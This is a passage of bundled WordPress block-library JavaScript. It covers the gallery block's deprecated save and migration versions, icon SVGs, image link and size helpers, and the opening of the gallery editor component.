18947 migrate(attributes) {
18948 return runV2Migration(attributes);
18949 }
18950};
18951const deprecated_v5 = {
18952 attributes: {
18953 images: {
18954 type: "array",
18955 default: [],
18956 source: "query",
18957 selector: ".blocks-gallery-item",
18958 query: {
18959 url: {
18960 type: "string",
18961 source: "attribute",
18962 selector: "img",
18963 attribute: "src"
18964 },
18965 fullUrl: {
18966 type: "string",
18967 source: "attribute",
18968 selector: "img",
18969 attribute: "data-full-url"
18970 },
18971 link: {
18972 type: "string",
18973 source: "attribute",
18974 selector: "img",
18975 attribute: "data-link"
18976 },
18977 alt: {
18978 type: "string",
18979 source: "attribute",
18980 selector: "img",
18981 attribute: "alt",
18982 default: ""
18983 },
18984 id: {
18985 type: "string",
18986 source: "attribute",
18987 selector: "img",
18988 attribute: "data-id"
18989 },
18990 caption: {
18991 type: "string",
18992 source: "html",
18993 selector: ".blocks-gallery-item__caption"
18994 }
18995 }
18996 },
18997 ids: {
18998 type: "array",
18999 items: {
19000 type: "number"
19001 },
19002 default: []
19003 },
19004 columns: {
19005 type: "number",
19006 minimum: 1,
19007 maximum: 8
19008 },
19009 caption: {
19010 type: "string",
19011 source: "html",
19012 selector: ".blocks-gallery-caption"
19013 },
19014 imageCrop: {
19015 type: "boolean",
19016 default: true
19017 },
19018 linkTo: {
19019 type: "string",
19020 default: "none"
19021 },
19022 sizeSlug: {
19023 type: "string",
19024 default: "large"
19025 }
19026 },
19027 supports: {
19028 align: true
19029 },
19030 isEligible({ linkTo }) {
19031 return !linkTo || linkTo === "attachment" || linkTo === "media";
19032 },
19033 migrate(attributes) {
19034 return runV2Migration(attributes);
19035 },
19036 save({ attributes }) {
19037 const {
19038 images,
19039 columns = defaultColumnsNumberV1(attributes),
19040 imageCrop,
19041 caption,
19042 linkTo
19043 } = attributes;
19044 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
19045 "figure",
19046 {
19047 className: `columns-${columns} ${imageCrop ? "is-cropped" : ""}`,
19048 children: [
19049 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { className: "blocks-gallery-grid", children: images.map((image) => {
19050 let href;
19051 switch (linkTo) {
19052 case "media":
19053 href = image.fullUrl || image.url;
19054 break;
19055 case "attachment":
19056 href = image.link;
19057 break;
19058 }
19059 const img = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19060 "img",
19061 {
19062 src: image.url,
19063 alt: image.alt,
19064 "data-id": image.id,
19065 "data-full-url": image.fullUrl,
19066 "data-link": image.link,
19067 className: image.id ? `wp-image-${image.id}` : null
19068 }
19069 );
19070 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19071 "li",
19072 {
19073 className: "blocks-gallery-item",
19074 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { children: [
19075 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href, children: img }) : img,
19076 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(image.caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19077 external_wp_blockEditor_namespaceObject.RichText.Content,
19078 {
19079 tagName: "figcaption",
19080 className: "blocks-gallery-item__caption",
19081 value: image.caption
19082 }
19083 )
19084 ] })
19085 },
19086 image.id || image.url
19087 );
19088 }) }),
19089 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19090 external_wp_blockEditor_namespaceObject.RichText.Content,
19091 {
19092 tagName: "figcaption",
19093 className: "blocks-gallery-caption",
19094 value: caption
19095 }
19096 )
19097 ]
19098 }
19099 );
19100 }
19101};
19102const deprecated_v4 = {
19103 attributes: {
19104 images: {
19105 type: "array",
19106 default: [],
19107 source: "query",
19108 selector: ".blocks-gallery-item",
19109 query: {
19110 url: {
19111 source: "attribute",
19112 selector: "img",
19113 attribute: "src"
19114 },
19115 fullUrl: {
19116 source: "attribute",
19117 selector: "img",
19118 attribute: "data-full-url"
19119 },
19120 link: {
19121 source: "attribute",
19122 selector: "img",
19123 attribute: "data-link"
19124 },
19125 alt: {
19126 source: "attribute",
19127 selector: "img",
19128 attribute: "alt",
19129 default: ""
19130 },
19131 id: {
19132 source: "attribute",
19133 selector: "img",
19134 attribute: "data-id"
19135 },
19136 caption: {
19137 type: "string",
19138 source: "html",
19139 selector: ".blocks-gallery-item__caption"
19140 }
19141 }
19142 },
19143 ids: {
19144 type: "array",
19145 default: []
19146 },
19147 columns: {
19148 type: "number"
19149 },
19150 caption: {
19151 type: "string",
19152 source: "html",
19153 selector: ".blocks-gallery-caption"
19154 },
19155 imageCrop: {
19156 type: "boolean",
19157 default: true
19158 },
19159 linkTo: {
19160 type: "string",
19161 default: "none"
19162 }
19163 },
19164 supports: {
19165 align: true
19166 },
19167 isEligible({ ids }) {
19168 return ids && ids.some((id) => typeof id === "string");
19169 },
19170 migrate(attributes) {
19171 return runV2Migration(attributes);
19172 },
19173 save({ attributes }) {
19174 const {
19175 images,
19176 columns = defaultColumnsNumberV1(attributes),
19177 imageCrop,
19178 caption,
19179 linkTo
19180 } = attributes;
19181 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
19182 "figure",
19183 {
19184 className: `columns-${columns} ${imageCrop ? "is-cropped" : ""}`,
19185 children: [
19186 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { className: "blocks-gallery-grid", children: images.map((image) => {
19187 let href;
19188 switch (linkTo) {
19189 case "media":
19190 href = image.fullUrl || image.url;
19191 break;
19192 case "attachment":
19193 href = image.link;
19194 break;
19195 }
19196 const img = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19197 "img",
19198 {
19199 src: image.url,
19200 alt: image.alt,
19201 "data-id": image.id,
19202 "data-full-url": image.fullUrl,
19203 "data-link": image.link,
19204 className: image.id ? `wp-image-${image.id}` : null
19205 }
19206 );
19207 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19208 "li",
19209 {
19210 className: "blocks-gallery-item",
19211 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { children: [
19212 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href, children: img }) : img,
19213 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(image.caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19214 external_wp_blockEditor_namespaceObject.RichText.Content,
19215 {
19216 tagName: "figcaption",
19217 className: "blocks-gallery-item__caption",
19218 value: image.caption
19219 }
19220 )
19221 ] })
19222 },
19223 image.id || image.url
19224 );
19225 }) }),
19226 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(caption) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19227 external_wp_blockEditor_namespaceObject.RichText.Content,
19228 {
19229 tagName: "figcaption",
19230 className: "blocks-gallery-caption",
19231 value: caption
19232 }
19233 )
19234 ]
19235 }
19236 );
19237 }
19238};
19239const gallery_deprecated_v3 = {
19240 attributes: {
19241 images: {
19242 type: "array",
19243 default: [],
19244 source: "query",
19245 selector: "ul.wp-block-gallery .blocks-gallery-item",
19246 query: {
19247 url: {
19248 source: "attribute",
19249 selector: "img",
19250 attribute: "src"
19251 },
19252 fullUrl: {
19253 source: "attribute",
19254 selector: "img",
19255 attribute: "data-full-url"
19256 },
19257 alt: {
19258 source: "attribute",
19259 selector: "img",
19260 attribute: "alt",
19261 default: ""
19262 },
19263 id: {
19264 source: "attribute",
19265 selector: "img",
19266 attribute: "data-id"
19267 },
19268 link: {
19269 source: "attribute",
19270 selector: "img",
19271 attribute: "data-link"
19272 },
19273 caption: {
19274 type: "string",
19275 source: "html",
19276 selector: "figcaption"
19277 }
19278 }
19279 },
19280 ids: {
19281 type: "array",
19282 default: []
19283 },
19284 columns: {
19285 type: "number"
19286 },
19287 imageCrop: {
19288 type: "boolean",
19289 default: true
19290 },
19291 linkTo: {
19292 type: "string",
19293 default: "none"
19294 }
19295 },
19296 supports: {
19297 align: true
19298 },
19299 save({ attributes }) {
19300 const {
19301 images,
19302 columns = defaultColumnsNumberV1(attributes),
19303 imageCrop,
19304 linkTo
19305 } = attributes;
19306 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19307 "ul",
19308 {
19309 className: `columns-${columns} ${imageCrop ? "is-cropped" : ""}`,
19310 children: images.map((image) => {
19311 let href;
19312 switch (linkTo) {
19313 case "media":
19314 href = image.fullUrl || image.url;
19315 break;
19316 case "attachment":
19317 href = image.link;
19318 break;
19319 }
19320 const img = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19321 "img",
19322 {
19323 src: image.url,
19324 alt: image.alt,
19325 "data-id": image.id,
19326 "data-full-url": image.fullUrl,
19327 "data-link": image.link,
19328 className: image.id ? `wp-image-${image.id}` : null
19329 }
19330 );
19331 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19332 "li",
19333 {
19334 className: "blocks-gallery-item",
19335 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { children: [
19336 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href, children: img }) : img,
19337 image.caption && image.caption.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19338 external_wp_blockEditor_namespaceObject.RichText.Content,
19339 {
19340 tagName: "figcaption",
19341 value: image.caption
19342 }
19343 )
19344 ] })
19345 },
19346 image.id || image.url
19347 );
19348 })
19349 }
19350 );
19351 },
19352 migrate(attributes) {
19353 return runV2Migration(attributes);
19354 }
19355};
19356const gallery_deprecated_v2 = {
19357 attributes: {
19358 images: {
19359 type: "array",
19360 default: [],
19361 source: "query",
19362 selector: "ul.wp-block-gallery .blocks-gallery-item",
19363 query: {
19364 url: {
19365 source: "attribute",
19366 selector: "img",
19367 attribute: "src"
19368 },
19369 alt: {
19370 source: "attribute",
19371 selector: "img",
19372 attribute: "alt",
19373 default: ""
19374 },
19375 id: {
19376 source: "attribute",
19377 selector: "img",
19378 attribute: "data-id"
19379 },
19380 link: {
19381 source: "attribute",
19382 selector: "img",
19383 attribute: "data-link"
19384 },
19385 caption: {
19386 type: "string",
19387 source: "html",
19388 selector: "figcaption"
19389 }
19390 }
19391 },
19392 columns: {
19393 type: "number"
19394 },
19395 imageCrop: {
19396 type: "boolean",
19397 default: true
19398 },
19399 linkTo: {
19400 type: "string",
19401 default: "none"
19402 }
19403 },
19404 isEligible({ images, ids }) {
19405 return images && images.length > 0 && (!ids && images || ids && images && ids.length !== images.length || images.some((id, index) => {
19406 if (!id && ids[index] !== null) {
19407 return true;
19408 }
19409 return parseInt(id, 10) !== ids[index];
19410 }));
19411 },
19412 migrate(attributes) {
19413 return runV2Migration(attributes);
19414 },
19415 supports: {
19416 align: true
19417 },
19418 save({ attributes }) {
19419 const {
19420 images,
19421 columns = defaultColumnsNumberV1(attributes),
19422 imageCrop,
19423 linkTo
19424 } = attributes;
19425 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19426 "ul",
19427 {
19428 className: `columns-${columns} ${imageCrop ? "is-cropped" : ""}`,
19429 children: images.map((image) => {
19430 let href;
19431 switch (linkTo) {
19432 case "media":
19433 href = image.url;
19434 break;
19435 case "attachment":
19436 href = image.link;
19437 break;
19438 }
19439 const img = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19440 "img",
19441 {
19442 src: image.url,
19443 alt: image.alt,
19444 "data-id": image.id,
19445 "data-link": image.link,
19446 className: image.id ? `wp-image-${image.id}` : null
19447 }
19448 );
19449 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19450 "li",
19451 {
19452 className: "blocks-gallery-item",
19453 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("figure", { children: [
19454 href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href, children: img }) : img,
19455 image.caption && image.caption.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19456 external_wp_blockEditor_namespaceObject.RichText.Content,
19457 {
19458 tagName: "figcaption",
19459 value: image.caption
19460 }
19461 )
19462 ] })
19463 },
19464 image.id || image.url
19465 );
19466 })
19467 }
19468 );
19469 }
19470};
19471const gallery_deprecated_v1 = {
19472 attributes: {
19473 images: {
19474 type: "array",
19475 default: [],
19476 source: "query",
19477 selector: "div.wp-block-gallery figure.blocks-gallery-image img",
19478 query: {
19479 url: {
19480 source: "attribute",
19481 attribute: "src"
19482 },
19483 alt: {
19484 source: "attribute",
19485 attribute: "alt",
19486 default: ""
19487 },
19488 id: {
19489 source: "attribute",
19490 attribute: "data-id"
19491 }
19492 }
19493 },
19494 columns: {
19495 type: "number"
19496 },
19497 imageCrop: {
19498 type: "boolean",
19499 default: true
19500 },
19501 linkTo: {
19502 type: "string",
19503 default: "none"
19504 },
19505 align: {
19506 type: "string",
19507 default: "none"
19508 }
19509 },
19510 supports: {
19511 align: true
19512 },
19513 save({ attributes }) {
19514 const {
19515 images,
19516 columns = defaultColumnsNumberV1(attributes),
19517 align,
19518 imageCrop,
19519 linkTo
19520 } = attributes;
19521 const className = dist_clsx(`columns-${columns}`, {
19522 alignnone: align === "none",
19523 "is-cropped": imageCrop
19524 });
19525 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className, children: images.map((image) => {
19526 let href;
19527 switch (linkTo) {
19528 case "media":
19529 href = image.url;
19530 break;
19531 case "attachment":
19532 href = image.link;
19533 break;
19534 }
19535 const img = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19536 "img",
19537 {
19538 src: image.url,
19539 alt: image.alt,
19540 "data-id": image.id
19541 }
19542 );
19543 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19544 "figure",
19545 {
19546 className: "blocks-gallery-image",
19547 children: href ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href, children: img }) : img
19548 },
19549 image.id || image.url
19550 );
19551 }) });
19552 },
19553 migrate(attributes) {
19554 return runV2Migration(attributes);
19555 }
19556};
19557var gallery_deprecated_deprecated_default = [deprecated_v7, deprecated_v6, deprecated_v5, deprecated_v4, gallery_deprecated_v3, gallery_deprecated_v2, gallery_deprecated_v1];
19558
19559
19560;// ./node_modules/@wordpress/icons/build-module/library/custom-link.js
19561
19562
19563var custom_link_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M12.5 14.5h-1V16h1c2.2 0 4-1.8 4-4s-1.8-4-4-4h-1v1.5h1c1.4 0 2.5 1.1 2.5 2.5s-1.1 2.5-2.5 2.5zm-4 1.5v-1.5h-1C6.1 14.5 5 13.4 5 12s1.1-2.5 2.5-2.5h1V8h-1c-2.2 0-4 1.8-4 4s1.8 4 4 4h1zm-1-3.2h5v-1.5h-5v1.5zM18 4H9c-1.1 0-2 .9-2 2v.5h1.5V6c0-.3.2-.5.5-.5h9c.3 0 .5.2.5.5v12c0 .3-.2.5-.5.5H9c-.3 0-.5-.2-.5-.5v-.5H7v.5c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2z" }) });
19564
19565
19566;// ./node_modules/@wordpress/icons/build-module/library/image.js
19567
19568
19569var image_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V5c-.1-.3.1-.5.4-.5zm14 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z" }) });
19570
19571
19572;// ./node_modules/@wordpress/block-library/build-module/gallery/shared-icon.js
19573
19574
19575
19576const sharedIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: gallery_default });
19577
19578
19579;// ./node_modules/@wordpress/block-library/build-module/gallery/shared.js
19580function defaultColumnsNumber(imageCount) {
19581 return imageCount ? Math.min(3, imageCount) : 3;
19582}
19583const pickRelevantMediaFiles = (image, sizeSlug = "large") => {
19584 const imageProps = Object.fromEntries(
19585 Object.entries(image ?? {}).filter(
19586 ([key]) => ["alt", "id", "link"].includes(key)
19587 )
19588 );
19589 imageProps.url = image?.sizes?.[sizeSlug]?.url || image?.media_details?.sizes?.[sizeSlug]?.source_url || image?.url || image?.source_url;
19590 const fullUrl = image?.sizes?.full?.url || image?.media_details?.sizes?.full?.source_url;
19591 if (fullUrl) {
19592 imageProps.fullUrl = fullUrl;
19593 }
19594 return imageProps;
19595};
19596
19597
19598;// ./node_modules/@wordpress/block-library/build-module/image/constants.js
19599const constants_MIN_SIZE = 20;
19600const constants_LINK_DESTINATION_NONE = "none";
19601const constants_LINK_DESTINATION_MEDIA = "media";
19602const constants_LINK_DESTINATION_ATTACHMENT = "attachment";
19603const LINK_DESTINATION_CUSTOM = "custom";
19604const constants_NEW_TAB_REL = ["noreferrer", "noopener"];
19605const constants_ALLOWED_MEDIA_TYPES = ["image"];
19606const MEDIA_ID_NO_FEATURED_IMAGE_SET = 0;
19607const SIZED_LAYOUTS = ["flex", "grid"];
19608const image_constants_DEFAULT_MEDIA_SIZE_SLUG = "full";
19609
19610
19611;// ./node_modules/@wordpress/block-library/build-module/gallery/utils.js
19612
19613
19614function utils_getHrefAndDestination(image, galleryDestination, imageDestination, attributes, lightboxSetting) {
19615 switch (imageDestination ? imageDestination : galleryDestination) {
19616 case LINK_DESTINATION_MEDIA_WP_CORE:
19617 case LINK_DESTINATION_MEDIA:
19618 return {
19619 href: image?.source_url || image?.url,
19620 // eslint-disable-line camelcase
19621 linkDestination: constants_LINK_DESTINATION_MEDIA,
19622 lightbox: lightboxSetting?.enabled ? { ...attributes?.lightbox, enabled: false } : void 0
19623 };
19624 case LINK_DESTINATION_ATTACHMENT_WP_CORE:
19625 case LINK_DESTINATION_ATTACHMENT:
19626 return {
19627 href: image?.link,
19628 linkDestination: constants_LINK_DESTINATION_ATTACHMENT,
19629 lightbox: lightboxSetting?.enabled ? { ...attributes?.lightbox, enabled: false } : void 0
19630 };
19631 case LINK_DESTINATION_LIGHTBOX:
19632 return {
19633 href: void 0,
19634 lightbox: !lightboxSetting?.enabled ? { ...attributes?.lightbox, enabled: true } : void 0,
19635 linkDestination: constants_LINK_DESTINATION_NONE
19636 };
19637 case LINK_DESTINATION_NONE:
19638 return {
19639 href: void 0,
19640 linkDestination: constants_LINK_DESTINATION_NONE,
19641 lightbox: void 0
19642 };
19643 }
19644 return {};
19645}
19646
19647
19648;// ./node_modules/@wordpress/block-library/build-module/image/utils.js
19649
19650function evalAspectRatio(value) {
19651 const [width, height = 1] = value.split("/").map(Number);
19652 const aspectRatio = width / height;
19653 return aspectRatio === Infinity || aspectRatio === 0 ? NaN : aspectRatio;
19654}
19655function removeNewTabRel(currentRel) {
19656 let newRel = currentRel;
19657 if (currentRel !== void 0 && newRel) {
19658 constants_NEW_TAB_REL.forEach((relVal) => {
19659 const regExp = new RegExp("\\b" + relVal + "\\b", "gi");
19660 newRel = newRel.replace(regExp, "");
19661 });
19662 if (newRel !== currentRel) {
19663 newRel = newRel.trim();
19664 }
19665 if (!newRel) {
19666 newRel = void 0;
19667 }
19668 }
19669 return newRel;
19670}
19671function getUpdatedLinkTargetSettings(value, { rel }) {
19672 const linkTarget = value ? "_blank" : void 0;
19673 let updatedRel;
19674 if (!linkTarget && !rel) {
19675 updatedRel = void 0;
19676 } else {
19677 updatedRel = removeNewTabRel(rel);
19678 }
19679 return {
19680 linkTarget,
19681 rel: updatedRel
19682 };
19683}
19684function getImageSizeAttributes(image, size) {
19685 const url = image?.media_details?.sizes?.[size]?.source_url;
19686 if (url) {
19687 return { url, width: void 0, height: void 0, sizeSlug: size };
19688 }
19689 return {};
19690}
19691function isValidFileType(file) {
19692 return constants_ALLOWED_MEDIA_TYPES.some(
19693 (mediaType) => file.type.indexOf(mediaType) === 0
19694 );
19695}
19696
19697
19698;// ./node_modules/@wordpress/block-library/build-module/gallery/gallery.js
19699
19700
19701
19702
19703
19704function Gallery(props) {
19705 const {
19706 attributes,
19707 isSelected,
19708 setAttributes,
19709 mediaPlaceholder,
19710 insertBlocksAfter,
19711 blockProps,
19712 __unstableLayoutClassNames: layoutClassNames,
19713 isContentLocked,
19714 multiGallerySelection
19715 } = props;
19716 const { align, columns, imageCrop } = attributes;
19717 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
19718 "figure",
19719 {
19720 ...blockProps,
19721 className: dist_clsx(
19722 blockProps.className,
19723 layoutClassNames,
19724 "blocks-gallery-grid",
19725 {
19726 [`align${align}`]: align,
19727 [`columns-${columns}`]: columns !== void 0,
19728 [`columns-default`]: columns === void 0,
19729 "is-cropped": imageCrop
19730 }
19731 ),
19732 children: [
19733 blockProps.children,
19734 isSelected && !blockProps.children && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.View, { className: "blocks-gallery-media-placeholder-wrapper", children: mediaPlaceholder }),
19735 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19736 Caption,
19737 {
19738 attributes,
19739 setAttributes,
19740 isSelected,
19741 insertBlocksAfter,
19742 showToolbarButton: !multiGallerySelection && !isContentLocked,
19743 className: "blocks-gallery-caption",
19744 label: (0,external_wp_i18n_namespaceObject.__)("Gallery caption text"),
19745 placeholder: (0,external_wp_i18n_namespaceObject.__)("Add gallery caption")
19746 }
19747 )
19748 ]
19749 }
19750 );
19751}
19752
19753
19754;// ./node_modules/@wordpress/block-library/build-module/gallery/use-image-sizes.js
19755
19756function useImageSizes(images, isSelected, getSettings) {
19757 return (0,external_wp_element_namespaceObject.useMemo)(() => getImageSizing(), [images, isSelected]);
19758 function getImageSizing() {
19759 if (!images || images.length === 0) {
19760 return;
19761 }
19762 const { imageSizes } = getSettings();
19763 let resizedImages = {};
19764 if (isSelected) {
19765 resizedImages = images.reduce((currentResizedImages, img) => {
19766 if (!img.id) {
19767 return currentResizedImages;
19768 }
19769 const sizes = imageSizes.reduce((currentSizes, size) => {
19770 const defaultUrl = img.sizes?.[size.slug]?.url;
19771 const mediaDetailsUrl = img.media_details?.sizes?.[size.slug]?.source_url;
19772 return {
19773 ...currentSizes,
19774 [size.slug]: defaultUrl || mediaDetailsUrl
19775 };
19776 }, {});
19777 return {
19778 ...currentResizedImages,
19779 [parseInt(img.id, 10)]: sizes
19780 };
19781 }, {});
19782 }
19783 const resizedImageSizes = Object.values(resizedImages);
19784 return imageSizes.filter(
19785 ({ slug }) => resizedImageSizes.some((sizes) => sizes[slug])
19786 ).map(({ name, slug }) => ({ value: slug, label: name }));
19787 }
19788}
19789
19790
19791;// ./node_modules/@wordpress/block-library/build-module/gallery/use-get-new-images.js
19792
19793function useGetNewImages(images, imageData) {
19794 const [currentImages, setCurrentImages] = (0,external_wp_element_namespaceObject.useState)([]);
19795 return (0,external_wp_element_namespaceObject.useMemo)(() => getNewImages(), [images, imageData]);
19796 function getNewImages() {
19797 let imagesUpdated = false;
19798 const newCurrentImages = currentImages.filter(
19799 (currentImg) => images.find((img) => {
19800 return currentImg.clientId === img.clientId;
19801 })
19802 );
19803 if (newCurrentImages.length < currentImages.length) {
19804 imagesUpdated = true;
19805 }
19806 images.forEach((image) => {
19807 if (image.fromSavedContent && !newCurrentImages.find(
19808 (currentImage) => currentImage.id === image.id
19809 )) {
19810 imagesUpdated = true;
19811 newCurrentImages.push(image);
19812 }
19813 });
19814 const newImages = images.filter(
19815 (image) => !newCurrentImages.find(
19816 (currentImage) => image.clientId && currentImage.clientId === image.clientId
19817 ) && imageData?.find((img) => img.id === image.id) && !image.fromSavedContent
19818 );
19819 if (imagesUpdated || newImages?.length > 0) {
19820 setCurrentImages([...newCurrentImages, ...newImages]);
19821 }
19822 return newImages.length > 0 ? newImages : null;
19823 }
19824}
19825
19826
19827;// ./node_modules/@wordpress/block-library/build-module/gallery/use-get-media.js
19828
19829
19830const EMPTY_IMAGE_MEDIA = [];
19831function useGetMedia(innerBlockImages) {
19832 return (0,external_wp_data_namespaceObject.useSelect)(
19833 (select) => {
19834 const imageIds = innerBlockImages.map((imageBlock) => imageBlock.attributes.id).filter((id) => id !== void 0);
19835 if (imageIds.length === 0) {
19836 return EMPTY_IMAGE_MEDIA;
19837 }
19838 return select(external_wp_coreData_namespaceObject.store).getEntityRecords(
19839 "postType",
19840 "attachment",
19841 {
19842 include: imageIds.join(","),
19843 per_page: -1,
19844 orderby: "include"
19845 }
19846 ) ?? EMPTY_IMAGE_MEDIA;
19847 },
19848 [innerBlockImages]
19849 );
19850}
19851
19852
19853;// ./node_modules/@wordpress/block-library/build-module/gallery/gap-styles.js
19854
19855function GapStyles({ blockGap, clientId }) {
19856 const fallbackValue = `var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )`;
19857 let gapValue = fallbackValue;
19858 let column = fallbackValue;
19859 let row;
19860 if (!!blockGap) {
19861 row = typeof blockGap === "string" ? (0,external_wp_blockEditor_namespaceObject.__experimentalGetGapCSSValue)(blockGap) : (0,external_wp_blockEditor_namespaceObject.__experimentalGetGapCSSValue)(blockGap?.top) || fallbackValue;
19862 column = typeof blockGap === "string" ? (0,external_wp_blockEditor_namespaceObject.__experimentalGetGapCSSValue)(blockGap) : (0,external_wp_blockEditor_namespaceObject.__experimentalGetGapCSSValue)(blockGap?.left) || fallbackValue;
19863 gapValue = row === column ? row : `${row} ${column}`;
19864 }
19865 const gap = `#block-${clientId} {
19866 --wp--style--unstable-gallery-gap: ${column === "0" ? "0px" : column};
19867 gap: ${gapValue}
19868 }`;
19869 (0,external_wp_blockEditor_namespaceObject.useStyleOverride)({ css: gap });
19870 return null;
19871}
19872
19873
19874;// ./node_modules/@wordpress/block-library/build-module/gallery/edit.js
19875
19876
19877
19878
19879
19880
19881
19882
19883
19884
19885
19886
19887
19888
19889
19890
19891
19892
19893
19894
19895
19896
19897
19898const MAX_COLUMNS = 8;
19899const LINK_OPTIONS = [
19900 {
19901 icon: custom_link_default,
19902 label: (0,external_wp_i18n_namespaceObject.__)("Link images to attachment pages"),
19903 value: LINK_DESTINATION_ATTACHMENT,
19904 noticeText: (0,external_wp_i18n_namespaceObject.__)("Attachment Pages")
19905 },
19906 {
19907 icon: image_default,
19908 label: (0,external_wp_i18n_namespaceObject.__)("Link images to media files"),
19909 value: LINK_DESTINATION_MEDIA,
19910 noticeText: (0,external_wp_i18n_namespaceObject.__)("Media Files")
19911 },
19912 {
19913 icon: fullscreen_default,
19914 label: (0,external_wp_i18n_namespaceObject.__)("Enlarge on click"),
19915 value: LINK_DESTINATION_LIGHTBOX,
19916 noticeText: (0,external_wp_i18n_namespaceObject.__)("Lightbox effect"),
19917 infoText: (0,external_wp_i18n_namespaceObject.__)("Scale images with a lightbox effect")
19918 },
19919 {
19920 icon: link_off_default,
19921 label: (0,external_wp_i18n_namespaceObject._x)("None", "Media item link option"),
19922 value: LINK_DESTINATION_NONE,
19923 noticeText: (0,external_wp_i18n_namespaceObject.__)("None")
19924 }
19925];
19926const edit_ALLOWED_MEDIA_TYPES = ["image"];
19927const PLACEHOLDER_TEXT = external_wp_element_namespaceObject.Platform.isNative ? (0,external_wp_i18n_namespaceObject.__)("Add media") : (0,external_wp_i18n_namespaceObject.__)("Drag and drop images, upload, or choose from your library.");
19928const MOBILE_CONTROL_PROPS_RANGE_CONTROL = external_wp_element_namespaceObject.Platform.isNative ? { type: "stepper" } : {};
19929const gallery_edit_DEFAULT_BLOCK = { name: "core/image" };
19930const EMPTY_ARRAY = [];
19931function GalleryEdit(props) {
19932 const {
19933 setAttributes,
19934 attributes,
19935 className,
19936 clientId,
19937 isSelected,
19938 insertBlocksAfter,
19939 isContentLocked,
19940 onFocus
19941 } = props;
19942 const [lightboxSetting, defaultRatios, themeRatios, showDefaultRatios] = (0,external_wp_blockEditor_namespaceObject.useSettings)(
19943 "blocks.core/image.lightbox",
19944 "dimensions.aspectRatios.default",
19945 "dimensions.aspectRatios.theme",
19946 "dimensions.defaultAspectRatios"
19947 );
19948 const linkOptions = !lightboxSetting?.allowEditing ? LINK_OPTIONS.filter(
19949 (option) => option.value !== LINK_DESTINATION_LIGHTBOX
19950 ) : LINK_OPTIONS;
19951 const {
19952 columns,
19953 imageCrop,
19954 randomOrder,
19955 linkTarget,
19956 linkTo,
19957 sizeSlug,
19958 aspectRatio
19959 } = attributes;
19960 const {
